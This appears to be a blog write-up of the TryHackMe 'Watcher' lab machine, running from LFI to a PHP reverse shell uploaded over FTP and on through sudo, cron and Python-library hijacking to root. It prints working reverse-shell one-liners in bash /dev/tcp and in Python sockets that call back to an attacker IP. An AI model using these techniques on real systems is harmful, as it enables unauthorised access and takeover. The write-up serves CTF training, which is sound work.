Post

TryHackMe - Watcher


Hello l33ts, I hope you are doing well. Today we are going to look at Watcher from TryHackMe, a medium machine requires the exploitation of an LFI vulnerability to get some credentials, and use those credentials to upload a web reverse shell in order to get access to the machine, and work from there to get root with multiple horizontal Privilege escalation using different techniques. Let’s dive into it.

Description

A boot2root Linux machine utilising web exploits along with some common privilege escalation techniques.

Enumeration

Let’s start our enumeration with a nmap scan:sudo nmap -sC -sV -T4 {target_IP} | tee scans/nmap

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

  • tee scans/nmap: Save the output to a file named nmap.

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ sudo nmap -sC -sV {target-IP} | tee scans/nmap           
Starting Nmap 7.92 ( https://nmap.org ) at 06:04 EST
Nmap scan report for 10.10.18.205
Host is up (0.096s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-title: Corkplacemats
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.99 seconds

We find 3 open ports, 21(FTP), 22(SSH) and 80(HTTP). We don’t have credentials for FTP nor for SSH, so let’s enumerate the HTTP server using Gobuster:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://{target_IP} | tee scans/gobuster
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.18.205
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
06:07:15 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 310] [--> http://10.10.18.205/css/]
/images               (Status: 301) [Size: 313] [--> http://10.10.18.205/images/]
/index.php            (Status: 200) [Size: 4826]                                 
/robots.txt           (Status: 200) [Size: 69]                                   
/server-status        (Status: 403) [Size: 277]                                  
===============================================================

Gobuster found robots.txt, let’s check it.

Flag 1

creds

Great we found our first flag, we can find it here : http://{target_IP}/flag_1.txt. We also found another file, but we don’t have access to it.

forbidden

Let’s check if the website has anything useful for us:

lfi

If we click one of the pictures on the website we get redirected to /post.php where we can see a parameter query /post.php?post=round.php. Let’s see if this parameter is vulnerable to LFI:

passwd

Great, it is vulnerable to LFI, let’s now try to pull the file we found earlier in robots.txt:

creds

We have manged to read that file, and it seems we have got some FTP credentials that we can use.

FTP

Let’s login to FTP and see what’s there: ftp {target_IP}

Flag 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(sirius㉿kali)-[~/CTF/THM/watcher]                                                                                                                        
└─$ ftp 10.10.18.205                                                                                                                                         
Connected to 10.10.18.205.                                                                                                                                   
220 (vsFTPd 3.0.3)                                                                                                                                           
Name (10.10.18.205:sirius): ftpuser                                                                                                                          
331 Please specify the password.                                                                                                                             
Password:                                                                                                                                                    
230 Login successful.                                                                                                                                        
Remote system type is UNIX.                                                                                                                                  
Using binary mode to transfer files.                                                                                                                         
ftp> ls                                                                                                                                                      
229 Entering Extended Passive Mode (|||43157|)                                                                                                               
150 Here comes the directory listing.                                                                                                                        
drwxr-xr-x    2 1001     1001         4096 Dec 03  2020 files                                                                                                
-rw-r--r--    1 0        0              21 Dec 03  2020 flag_2.txt                                                                                           
226 Directory send OK.                                                                                                                                       
ftp> get flag_2.txt                                                                                                                                          
local: flag_2.txt remote: flag_2.txt                                                                                                                         
229 Entering Extended Passive Mode (|||47137|)                                                                                                               
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).                                                                                           
100% |****************************************************************************************************************|    21      113.30 KiB/s    00:00 ETA
226 Transfer complete.                                                                                                                                       
21 bytes received in 00:00 (0.21 KiB/s)                                                                                                                      
dftp>exit
221 Goodbye.

┌──(sirius㉿kali)-[~/CTF/THM/watcher]                                                                                                                        
└─$ ls                                                                                                                                                       
flag_2.txt  scans

Great, we found our second flag, we can copy it to our machine using : get flag_2.txt

Since we have an LFI vulnerability, i’m going to try to upload a php reverse shell to the FTP server and try to access it using the web server. The shell i will be using is this : php_reverse_shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ ftp 10.10.18.205                                                                                                                                         
Connected to 10.10.18.205.                                                                                                                                   
220 (vsFTPd 3.0.3)                                                                                                                                           
Name (10.10.18.205:sirius): ftpuser                                                                                                                          
331 Please specify the password.                                                                                                                             
Password:                                                                                                                                                    
230 Login successful.                                                                                                                                        
Remote system type is UNIX.                                                                                                                                  
Using binary mode to transfer files.                                                                                                                         
ftp> put rev.php                                                                                                                                        
local: rev.php remote: rev.php                                                                                                                     
229 Entering Extended Passive Mode (|||45312|)                                                                                                               
553 Could not create file.                                                                                                                                   
ftp> pwd                                                                                                                                                     
Remote directory: /                                                                                                                                          
ftp> ls                                                                                                                                                      
229 Entering Extended Passive Mode (|||42555|)                                                                                                               
150 Here comes the directory listing.                                                                                                                        
drwxr-xr-x    2 1001     1001         4096 Dec 03  2020 files                                                                                                
-rw-r--r--    1 0        0              21 Dec 03  2020 flag_2.txt                                                                                           
226 Directory send OK.                                                                                                                                       
ftp> cd files                                                                                                                                                
250 Directory successfully changed.                                                                                                                          
ftp> put rev.php                                                                                                                                        
local: rev.php remote: rev.php                                                                                                                     
229 Entering Extended Passive Mode (|||41911|)                                                                                                               
150 Ok to send data.                                                                                                                                         
100% |****************************************************************************************************************|  3651       23.84 MiB/s    00:00 ETA
226 Transfer complete.                                                                                                                                       
3651 bytes sent in 00:00 (15.91 KiB/s)                                                                                                                       
ftp> ls                                                                                                                                                      
229 Entering Extended Passive Mode (|||46255|)                                                                                                               
150 Here comes the directory listing.                                                                                                                        
-rw-r--r--    1 1001     1001         3651 Jan 13 10:57 rev.php                                                                                         
226 Directory send OK.                                                                                                                                       
ftp>

I couldn’t upload it first in the root directory but i managed to upload it into files directory.

Note : you should change the ip in the reverse shell before uploading it.

Now, we should set up a listener in our machine before navigating to the shell. nc -lnvp 1234

According to the secret file we found in robots.txt:

creds

The path to our reverse shell is /home/ftpuser/ftp/files/. So in order to execute the script, we need to navigate to http://{target_IP}/post.php?post=/home/ftpuser/ftp/files/rev.php

Note : ‘rev.php’ is what i named my reverse shell file, yours might be different!!!

Foothold

After setting up everything and navigating to our shell, we should get a reverse shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lnvp 1234                                                                                                                                   [142/144]
listening on [any] 1234 ...                                                                                                                                  
connect to [10.11.31.131] from (UNKNOWN) [10.10.18.205] 36444                                                                                                
Linux watcher 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux                                                  
 10:58:02 up 19 min,  0 users,  load average: 0.00, 0.02, 0.11                                                                                               
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT                                                                                          
uid=33(www-data) gid=33(www-data) groups=33(www-data)                                                                                                        
/bin/sh: 0: can't access tty; job control turned off                                                                                                                                                                                                                                                               
$ python3 -c 'import pty;pty.spawn("/bin/bash")'                                                                                                             
www-data@watcher:/home$ export TERM=xterm                                                                                                                    
export TERM=xterm
www-data@watcher:/home$ ^Z
zsh: suspended  nc -lnvp 1234

┌──(sirius㉿kali)-[~]
└─$ stty raw -echo; fg                                                                                                                             148 ⨯ 1 ⚙
[1]  + continued  nc -lnvp 1234

www-data@watcher:/home$

Flag 3

Great, we got a shell, i have executed some commands to get a functional shell:

1
2
3
4
5
6
7
 [target machine] python3 -c 'import pty;pty.spawn("/bin/bash")'

 [target machine] export TERM=xterm

 [target machine] ctrl+z

 [attacker machine] stty raw -echo;fg

We can find our third flag here:

1
2
www-data@watcher:/var/www/html/more_secrets_a9f10a$ ls                                                                                                       
flag_3.txt

Privilege Escalation

Flag 4

It’s now to upgrade from www-data to another user, let’s check what we can do with our current user:

1
2
3
4
5
6
7
www-data@watcher:/$ sudo -l
Matching Defaults entries for www-data on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on watcher:
    (toby) NOPASSWD: ALL

Apparently, we can execute any command as toby. We can use that to change our user to toby:

1
2
3
4
5
6
7
8
www-data@watcher:/$ sudo -u toby /bin/bash
toby@watcher:/$
toby@watcher:/$ ls
flag_4.txt  jobs  note.txt
toby@watcher:~$ cat note.txt  
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

With that, we can now cat the fourth flag.

Flag 5

We have a note from someone that says there is a cronjob set up, let’s see what’s there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
toby@watcher:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/1 * * * * mat /home/toby/jobs/cow.sh

There a script called cow.sh that runs as mat but we as toby are the owner of that file, so we can edit it to get a shell as mat. I added a bash script to cow.sh that sends me a reverse shell, the script now looks like this:

1
2
3
4
$ cat cow.sh
#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg
/bin/bash -i >& /dev/tcp/{attacker_IP}/9001 0>&1

Set up a listner on port 9001 and wait.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(sirius㉿kali)-[~]                                                                                                                                 [35/36]
└─$ nc -lnvp 9001                                                                                                                                            
listening on [any] 9001 ...                                                                                                                                  
connect to [10.11.31.131] from (UNKNOWN) [10.10.18.205] 39298                                                                                                
bash: cannot set terminal process group (2119): Inappropriate ioctl for device                                                                               
bash: no job control in this shell                                                                                                                           
mat@watcher:~$                                                                                                                                                       
mat@watcher:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'                                                                                                
python3 -c 'import pty;pty.spawn("/bin/bash")'                                                                                                               
mat@watcher:~$ export TERM=xterm                                                                                                                             
export TERM=xterm                                                                                                                                            
mat@watcher:~$ ^Z                                                                                                                                            
zsh: suspended  nc -lnvp 9001                                                                                                                                

┌──(sirius㉿kali)-[~]                                                                                                                                        
└─$ stty raw -echo; fg                                                                                                                             148 ⨯ 1 ⚙
[1]  + continued  nc -lnvp 9001                                                                                                                              

mat@watcher:~$ ls                                                                                                                                            
cow.jpg  flag_5.txt  note.txt  scripts                                                                                                                       
mat@watcher:~$ whoami                                                                                                                                        
mat                                                                                                                                                          

As mat now, we can get our fifth flag.

Flag 6

Nice, we became mat now, let’s see what can we do as mat here:

1
2
3
4
5
6
7
mat@watcher:~$ sudo -l                                                                                                                                       
Matching Defaults entries for mat on watcher:                                                                                                                
    env_reset, mail_badpass,                                                                                                                                 
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin                                                                 

User mat may run the following commands on watcher:                                                                                                          
    (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

We can run will_script.py as will, let’s see what the script does:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mat@watcher:~/scripts$ cat will_script.py
import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
        print("Invalid command!")
        exit()

os.system(cmd)

The script calls os, sys and cmd libraries, and then tries to execute one of the following commands : ls -lah", "id", "cat /etc/passwd depending on what we gave it as an argument.

We will be hijacking one of the libraries in order to get another reverse shell. The only library we have write permission to is cmd.py, so let’s put a python script in the file:

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

Note : don’t forget to change the ip adress in the script!!

The cmd.py file now looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
mat@watcher:~/scripts$ cat cmd.py                                                                                                                            
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
 os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);                                                                                                

def get_command(num):                                                                                                                                        
        if(num == "1"):                                                                                                                                      
                return "ls -lah"                                                                                                                             
        if(num == "2"):                                                                                                                                      
                return "id"                                                                                                                                  

        if(num == "3"):                                                                                                                                      
                return "cat /etc/passwd"                                                                                                                     
mat@watcher:~/scripts$  

Let’s set up another listener for this and then run the script:

1
mat@watcher:~/scripts$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script 2
1
2
3
4
5
$nc -lvnp 9000
listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.180.180] 38226
$ whoami
will

Great, we escalated to will now.

Flag 7

After some enumeration, we found base64 encoded file located in /opt directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
will@watcher:/opt/backups$ ls
key.b64
will@watcher:/opt/backups$ base64 -d key.b64
-----BEGIN RSA PRIVATE KEY-----
RedactedAAKCAQEAzPaQFolQq8cHom9mssyPZ53aLzBcRyBw+rysJ3h0JCxnV+aG
opZdcQz01YOYdjYIaZEJmdcPVWQp/L0uc5u3igoiK1uiYMfw850N7t3OX/erdKF4
jqVu3iXN9doBmr3TuU9RJkVnDDuo8y4DtIuFCf92ZfEAJGUB2+vFON7q4KJsIxgA
nM8kj8NkFkFPk0d1HKH2+p7QP2HGZrf3DNFmQ7Tuja3zngbEVO7NXx3V3YOF9y1X
eFPrvtDQV7BYb6egklafs4m4XeUO/csM84I6nYHWzEJ5zpcSrpmkDHxC8yH9mIVt
dSelabW2fuLAi51UR/2wNqL13hvGglpePhKQgQIDAQABAoIBAHmgTryw22g0ATnI
9Z5geTC5oUGjZv7mJ2UDFP2PIwxcNS8aIwbUR7rQP3F8V7q+MZvDb3kU/4pil+/c
q3X7D50gikpEZEUeIMPPjPcUNGUKaXoaX5n2XaYBtQiRR6Z1wvASO0uEn7PIq2cz
BQvcRyQ5rh6sNrNiJQpGDJDE54hIigic/GucbynezYya8rrIsdWM/0SUl9JknI0Q
TQOi/X2wfyryJsm+tYcvY4ydhChK+0nVTheciUrV/wkFvODbGMSuuhcHRKTKc6B6
1wsUA85+vqNFrxzFY/redactedredactedredactedredacted+++w+t0QRB5RCF
AlQJ28kCgYEA6lrY2xyeLh/aOBu9+Sp3uJknIkObpIWCdLd1xXNtDMAz4OqbrLB5
fJ/iUcYjwOBHt3NNkuUm6qoEfp4Gou14yGzOiRkAe4HQJF9vxFWJ5mX+BHGI/vj2
Nv1sq7PaIKq4pkRBzR6M/ObD7yQe78NdlQvLnQTlWp4njhjQoHOsovsCgYEA3+TE
7QR77yQ8l1iGAFYRXIzBgp5eJ2AAvVpWJuINLK5lmQ/E1x2K98E73CpQsRDG0n+1
vp4+Y8J0IB/tGmCf7IPMeiX80YJW7Ltozr7+sfbAQZ1Ta2o1hCalAQyIk9p+EXpI
UbBVnyUC1XcvRfQvFJyzgccwExEr6glJKOj64bMCgYEAlxmx/jxKZLTWzxxb9V4D
SPs+NyJeJMqMHVL4VTGh2vnFuTuq2cIC4m53zn+xJ7ezpb1rA85JtD2gnj6nSr9Q
A/HbjJuZKwi8uebquizot6uFBzpouPSuUzA8s8xHVI6edV1HC8ip4JmtNPAWHkLZ
gLLVOk0gz7dvC3hGc12BrqcCgYAhFji34iLCi3Nc1lsvL4jvSWnLeMXnQbu6P+Bd
bKiPwtIG1Zq8Q4Rm6qqC9cno8NbBAtiD6/TCX1kz6iPq8v6PQEb2giijeYSJBYUO
kJEpEZMF308Vn6N6/Q8DYavJVc+tm4mWcN2mYBzUGQHmb5iJjkLE2f/TwYTg2DB0
mEGDGwKBgQCh+UpmTTRx4KKNy6wJkwGv2uRdj9rta2X5pzTq2nEApke2UYlP5OLh
/6KHTLRhcp9FmF9iKWDtEMSQ8DCan5ZMJ7OIYp2RZ1RzC9Dug3qkttkOKAbccKn5
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRredactedredacted==
-----END RSA PRIVATE KEY-----
will@watcher:/opt/backups$

When we decode the file, we see that it is a SSH private key, let’s copy it to our machine, give it the right permissions, and try to connect with it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 ┌──(sirius㉿kali)-[~/CTF/THM/watcher]
└─$ chmod 400 id_rsa
 ┌──(sirius㉿kali)-[~/CTF/THM/watcher]
└─$ ssh -i id_rsa root@10.10.10.10                                                                                                                    255 ⨯
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-128-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jan 13 12:28:44 UTC 2022

  System load:  0.0                Processes:             124
  Usage of /:   22.5% of 18.57GB   Users logged in:       0
  Memory usage: 37%                IP address for eth0:   10.10.18.205
  Swap usage:   0%                 IP address for lxdbr0: 10.14.179.1


33 packages can be updated.
0 updates are security updates.


Last login: Thu Dec  3 03:25:38 2020
root@watcher:~# ls
flag_7.txt
root@watcher:~#

Great, we are root now. This was an amazing machine, hope you have enjoyed it as much as i did, and see you in the next hack.

This post is licensed under CC BY 4.0 by the author.